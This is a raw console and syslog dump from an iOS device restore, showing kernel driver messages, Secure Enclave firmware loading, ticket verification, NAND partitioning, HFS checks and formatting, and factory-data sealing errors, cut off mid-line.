<Notice>: AppleARMPMUCharger: AppleUSBCableDetect 0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableType Detached SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly tru e SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly tru e SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: LwVM::probe - failed to read header from media SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [effaceable:INIT] found current generation, 116, in group 0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [effaceable:INIT] started SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly tru e SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: LwVM::probe - failed to read header from media SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMesa::start: sensor sanity checking failed on start, power cy cle SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableDetect 1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableType USBHost SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMultitouchN1SPI: detected HBPP. driver will be kept alive SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ PCI configuration begin ] SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ PCI configuration end, bridges 2, devices 1 ] SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.470793 wlan0.C[0] setPowerStateGated@7234:Power transition before init (Off --> On) SYSLOG: Sep 10 05:16:51 localhost syslogd[4] <Notice>: ASL Sender Statistics SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMesa::start: sensor sanity checking failed on start, power cy cle SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.562630 wlan0.C[1] start@807:Waiting for PCIe to enumerate SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.563076 wlan0.A[2] createFirmwareLogger@8240: CCFlags: 0x0, CCLevel: 127 ConsoleFlags: 0x0, ConsoleLevel: -1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleBCMWLANCore::init IO80211-177.6 "IO80211-177.6" Aug 19 2016 1 0:48:47 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211Controller::createIOReporters 0xc2851a7e587864e5 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: CCFlags: 0x0, CCLevel: 5 ConsoleFlags: 0x0, ConsoleLevel: -1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: No Service found 10000039d SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: configureInterests - nElements <= 0!Failed to addSubscription for group Chip subgroup Bytes Transferred driver 0xc2851a7e587864e5 - data underrun SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211ControllerMonitor::configureSubscriptions() failed to add s ubscriptionIO80211Controller::start _controller is 0xc2851a7e587864e5, provider is 0xc2851a7f6e0f64e5 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.565214 wlan0.A[3] gatherDeviceTreeData@774:WiFi 'serial bau d rate' is invalid! SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.566806 wlan0.N[4] start@1179:Starting with MAC Address: 70: 3e:ac:5d:ee:47 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleBCMWLANCore::apple80211RequestIoctl type 0xc cmd GET SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleBCMWLANCore::apple80211RequestIoctl type 0x50 cmd GET SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.566907 wlan0.N[5] setPowerStateGated@15307: powerState 1, fStateFlags 0x20, dev 0xc2851a7e587864e5 (this 1, provider 0) SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.566911 wlan0.N[6] setPowerStateGated@15310: Received power state change before driver has initialized, ignoring SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211PeerManager::initWithInterface can't add monitoring timer SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211Interface::init peerManager=0xc2851a7f6e2a24e5 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211Controller::configureInterface: Setting mac address on inte rface SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568941 wlan0.N[7] populateRequestedFiles@1299:FW C-4345__s- B1/tempranillo.trx SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568975 wlan0.N[8] populateRequestedFiles@1305:CLM C-4345__s -B1/tempranillo.clmb SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568987 wlan0.N[9] populateRequestedFiles@1313:Tx Cap C-4345 __s-B1/tempranillo.txcb SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568993 wlan0.N[10] populateRequestedFiles@1326:NVRAM C-4345 __s-B1/P-tempranillo_M-CORO_V-m__m-5.1.txt SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet unable to open /dev/klog: Resource busy SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:154: couldn't load supp ort library SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:520: _MGSCopyAnswerFrom Server can't be loaded SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:124: called dummy funct ion! display-scale = 2 display-rotation = 0 found applelogo at /usr/share/progressui/applelogo@2x.tga SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: /System/Library/Frameworks/MediaToolbox.framework /MediaToolbox not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: /System/Library/PrivateFrameworks/MediaToolbox.fr amework/MediaToolbox not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: /System/Library/PrivateFrameworks/Celestial.frame work/Celestial not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: FigInstallVirtualDisplay not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: CFPreferences could not connect to its daemon. Preferences using the connection 0x0 will be volatile and will not be persisted to disk. found display: primary display: 750 x 1334 powering on display SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: Loading diags data region 1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device - Configuration: Apple Mobile Device SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device Interface: AppleUSBMux waiting for matching IOKit service: <CFBasicHash 0x15550bbb0 [0x100bf2a08]>{type = mutable dict, count = 1, entries => 0 : <CFString 0x100e7ef10 [0x100bf2a08]>{contents = "IOProviderClass"} = <CFString 0x15550bca0 [0x100bf2a08]>{co ntents = "AppleUSBDeviceMux"} } SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: virtual bool AppleUSBDeviceMux::start(IOService *) build: Aug 19 2 016 10:50:21 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_registerFunction Register function AppleUSBMux SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::startUSBStack Starting usb stack SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMesa::start: disabling the sensor SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleDRV2604Vibrator::start() mode=rtp cal=0a:67:a5:01 init=0 SYSLOG: Sep 10 05:16:54 localhost kernel[0] <Notice>: IOReturn AppleUSBDeviceMux::setPropertiesGated(OSObject *) setting debug level to 7 recv(9, 4) failed: connection closed unable to read message size: -1 could not receive message recv(9, 4) failed: connection closed recv(10, 4) failed: connection closed unable to read message size: -1 unable to read message size: -1 could not receive message could not receive message recv(14, 4) failed: connection closed recv(15, 4) failed: connection closed recv(9, 4) failed: connection closed recv(12, 4) failed: connection closed recv(11, 4) failed: connection closed unable to read message size: -1 recv(16, 4) failed: connection closed unable to read message size: -1 recv(13, 4) failed: connection closed unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 could not receive message unable to read message size: -1 could not receive message recv(18, 4) failed: connection closed unable to read message size: -1 recv(19, 4) failed: connection closed could not receive message could not receive message could not receive message recv(20, 4) failed: connection closed recv(21, 4) failed: connection closed could not receive message recv(22, 4) failed: connection closed recv(14, 4) failed: connection closed unable to read message size: -1 could not receive message unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 could not receive message could not receive message could not receive message could not receive message could not receive message could not receive message client protocol version 13 *** UUID 9A713E8C-8EC4-6F52-5B83-A150C021547E *** Restore options: MinimumSystemPartition => <CFNumber 0xb00000000000a9f3 [0x100bf2a08]>{value = +2719, type = kCFNumberSIn t64Type} UUID => <CFString 0x15560ac00 [0x100bf2a08]>{contents = "9A713E8C-8EC4-6F52-5B83-A150C 021547E"} SystemPartitionSize => <CFNumber 0xb00000000000a9f3 [0x100bf2a08]>{value = +2719, type = kCFNumberSIn t64Type} SystemPartitionPadding => <CFBasicHash 0x15560aa10 [0x100bf2a08]>{type = mutable dict, count = 9, entries => 0 : <CFString 0x1556071f0 [0x100bf2a08]>{contents = "512"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 2 : <CFString 0x155606670 [0x100bf2a08]>{contents = "128"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 3 : <CFString 0x155603160 [0x100bf2a08]>{contents = "16"} = <CFNumber 0xb000000000000a03 [0x100bf2a08]>{value = +160, type = kCFNumberSInt64Type} 4 : <CFString 0x15560b530 [0x100bf2a08]>{contents = "1024"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 5 : <CFString 0x15560b4f0 [0x100bf2a08]>{contents = "32"} = <CFNumber 0xb000000000001403 [0x100bf2a08]>{value = +320, type = kCFNumberSInt64Type} 6 : <CFString 0x155600330 [0x100bf2a08]>{contents = "768"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 7 : <CFString 0x100b9b240 [0x100bf2a08]>{cont... PersonalizedDuringPreflight => <CFBoolean 0x100bf2f80 [0x100bf2a08]>{value = true} entering load_sep_os device has sep - getting firmware entering copy_restore_sep got sep firmware - making call to load it entering ramrod_load_sep_os entering ramrod_execute_command_with_input_data: /usr/libexec/seputil (0x10534c000 - 4642298) executing /usr/libexec/seputil waiting for child to exit SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: bool AppleSEPFirmware::_initFromMemory(IOMemoryDescriptor *): load ed 4642298 bytes of firmware from client SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: AppleSEP:WARNING: Could not register SEP root shmcon (err=-1) SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: AppleSEP:WARNING: Could not register SEP debugger shmcon (err=-1) SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPManager::setFirmwareBytes(IOMemoryDescriptor *, b ool, bool): SEP Shared Memory Buffer at <ptr> SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP status: 1 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP accepted Tz0 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP status: 2 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP status: 2 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): load the art SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): separt returned is <ptr> SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP accepted SEP ART SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): SEP booting SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): Shmbuf for SEP: { paddr = 0x805e60000, size = 0x10000 } SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP accepted IMG 4 child exited exit status: 0 entering ramrod_ticket_update looking up boot manifest hash crypto-hash-method found. Using SHA1 device tree ticket_hash: 85EA3FA2D3D80CC1A6118B0DCF38BB9FFADEA1EC computed ticket_hash : 85EA3FA2D3D80CC1A6118B0DCF38BB9FFADEA1EC received valid ticket (5468 bytes) entering partition_nand_device No IOFlashController instance found entering wait_for_storage_device Searching for NAND service Found NAND service: ASPStorage NAND initialized. Waiting for devnode. entering clear_remap_variable executing /usr/sbin/nvram Service name : ASPStorage SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: [ANS syslog: nand] Push_PowerGovernorInit:Nand Die:2 MLC: 2 N o SLC: 2 No Erase:2 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly fal se SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is md0 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is a ramdisk SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOFirmwareDevice::updateMediaParams - prev num blks 1024 new num b lks 1024 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly fal se SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly fal se Set ASP writable successfully entering ramrod_reprobe_device_path entering ramrod_probe_media SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: void AppleSEPManager::_notifyOSActiveGated(): SEP/OS is alive SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTRequests::handle_first_connected(): Configurin g in buffer SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTRequests::handle_first_connected(): Configurin g out buffer SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTStorage::handle_first_connected(): Sending MAN IFEST with timeout device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering ramrod_reprobe_device_path entering ramrod_probe_media device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering ramrod_probe_media device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering mount_partition executing /sbin/fsck_hfs SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPSEPNotifier::message - msg = 1 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPSEPNotifier::message - kSEPNotifyOK2Wrap SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTStorage::handle_first_connected(): Sending ART _LOAD with timeout SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is md0 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is a ramdisk SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: bool AppleSEPARTStorage::save_incoming_art(const uint8_t *, const uint8_t *): Incoming art set and synched journal_replay(/dev/disk0s1s1) returned 0 ** /dev/rdisk0s1s1 Using cacheBlockSize=32K cacheTotalBlock=3956 cacheSize=126592K. Executing fsck_hfs (version hfs-305.10.1). ** Checking Journaled HFS Plus volume. The volume name is Untitled ** Checking extents overflow file. ** Checking catalog file. ** Checking multi-linked files. ** Checking catalog hierarchy. ** Checking extended attributes file. ** Checking volume bitmap. ** Checking volume information. ** Trimming unused blocks. ** The volume Untitled appears to be OK. CheckHFS returned 0, fsmodified = 0 executing /sbin/mount_hfs mount_hfs: Invalid argument mount_hfs: error on mount(): error = -1. mounting /dev/disk0s1s1 on /mnt1 failed block size for /dev/disk0s1s1: 4096 /sbin/newfs_hfs -s -v System /dev/disk0s1s1 executing /sbin/newfs_hfs -s -v System /dev/disk0s1s1 Initialized /dev/rdisk0s1s1 as a 3 GB case-sensitive HFS Plus volume entering ramrod_probe_media device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering mount_partition executing /sbin/fsck_hfs journal_replay(/dev/disk0s1s1) returned 0 ** /dev/rdisk0s1s1 Using cacheBlockSize=32K cacheTotalBlock=3956 cacheSize=126592K. Executing fsck_hfs (version hfs-305.10.1). ** Checking non-journaled HFS Plus Volume. ** Detected a case-sensitive volume. The volume name is System ** Checking extents overflow file. ** Checking catalog file. ** Checking multi-linked files. ** Checking catalog hierarchy. ** Checking extended attributes file. ** Checking volume bitmap. ** Checking volume information. ** Trimming unused blocks. ** The volume System appears to be OK. CheckHFS returned 0, fsmodified = 0 executing /sbin/mount_hfs /dev/disk0s1s1 mounted on /mnt1 System mounted read-only unable to open /mnt1/System/Library/CoreServices/SystemVersion.plist: No such file or directory ramrod_read_previous_os_build_version: Unable to read system version plist restored_fdr_initialize: FDR is supported CryptoAcceleratorEncrypt: perform aes => 0 (kIOReturnSuccess) pseudo_ccrng_allocate: ccdrbg_init() -> 0 CryptoGenerateRSAKeys: ccrsa_generate_key() -> 0 CryptoGenerateRSAKeys: [RSA Public Key SHA1: 20 bytes] : 85 13 37 f3 e4 a7 d9 10 6b 7e f4 7e 28 f3 ed 66 : 78 6b 26 69 : ----------------------------------------------- CryptoGenerateRSAKeys: SecKeyCreateRSAPrivateKey -> 0x10014c460 CryptoGenerateRSAKeys: SecKeyCreateRSAPublicKey -> 0x10014c458 SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 7f0 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612700 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556127b0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612770 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612790 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612690 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612720 [0x100bf2a08]>{contents = "FS Cl"} 5 : <CFString 0x1556126b0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x1556126d0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612740 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 a10 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612920 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556129d0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612990 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x1556129b0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x1556128b0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612940 [0x100bf2a08]>{contents = "ho p0"} 5 : <CFString 0x1556128d0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000010003 [0x100bf2a08]>{val ue = +4096, type = kCFNumberSInt64Type} 6 : <CFString 0x1556128f0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612960 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 c30 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612b40 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x155612bf0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612bb0 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612bd0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612ad0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612b60 [0x100bf2a08]>{contents = "Nv MR"} 5 : <CFString 0x155612af0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x155612b10 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612b80 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. created HTTP FDR client 0x155618260 SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 7f0 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612700 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556127b0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612770 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612790 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612690 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612720 [0x100bf2a08]>{contents = "FS Cl"} 5 : <CFString 0x1556126b0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x1556126d0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612740 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 a10 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612920 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556129d0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612990 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x1556129b0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x1556128b0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612940 [0x100bf2a08]>{contents = "ho p0"} 5 : <CFString 0x1556128d0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000010003 [0x100bf2a08]>{val ue = +4096, type = kCFNumberSInt64Type} 6 : <CFString 0x1556128f0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612960 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 c30 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612b40 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x155612bf0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612bb0 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612bd0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612ad0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612b60 [0x100bf2a08]>{contents = "Nv MR"} 5 : <CFString 0x155612af0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x155612b10 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612b80 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. created local FDR client 0x155619520 Received response without expected RESTORED_FDR_TRUST_DATA AMSupportPlatformMakeDirectoryForURL: Could not mkdir (Read-only file system) AMFDRCreateError: AMFDRDataLocalCopyDataStoragePath: AMSupportMakeDirectory failed: code=4 AMFDRCreateError: AMFDRDataLocalCopy: missing data storage path: code=4 failed to copy trust object from fdrLocal 0: AMFDRError/4: missing data storage path 1: AMFDRError/4: AMSupportMakeDirectory failed _AMFDRHttpRequestSendSyncNoRetry: No cookie found _AMFDRHttpCopyProxyInformation: Failed to get proxy info for URL 'http://gg.apple.com/fdrtrustobject/5340B6A059BDB732E71 5E7BB1B292EDCD45C2A8D1D07E6039D3F338D7C4428AB' _AMFDRHttpMessageSendSync: Failed to copy 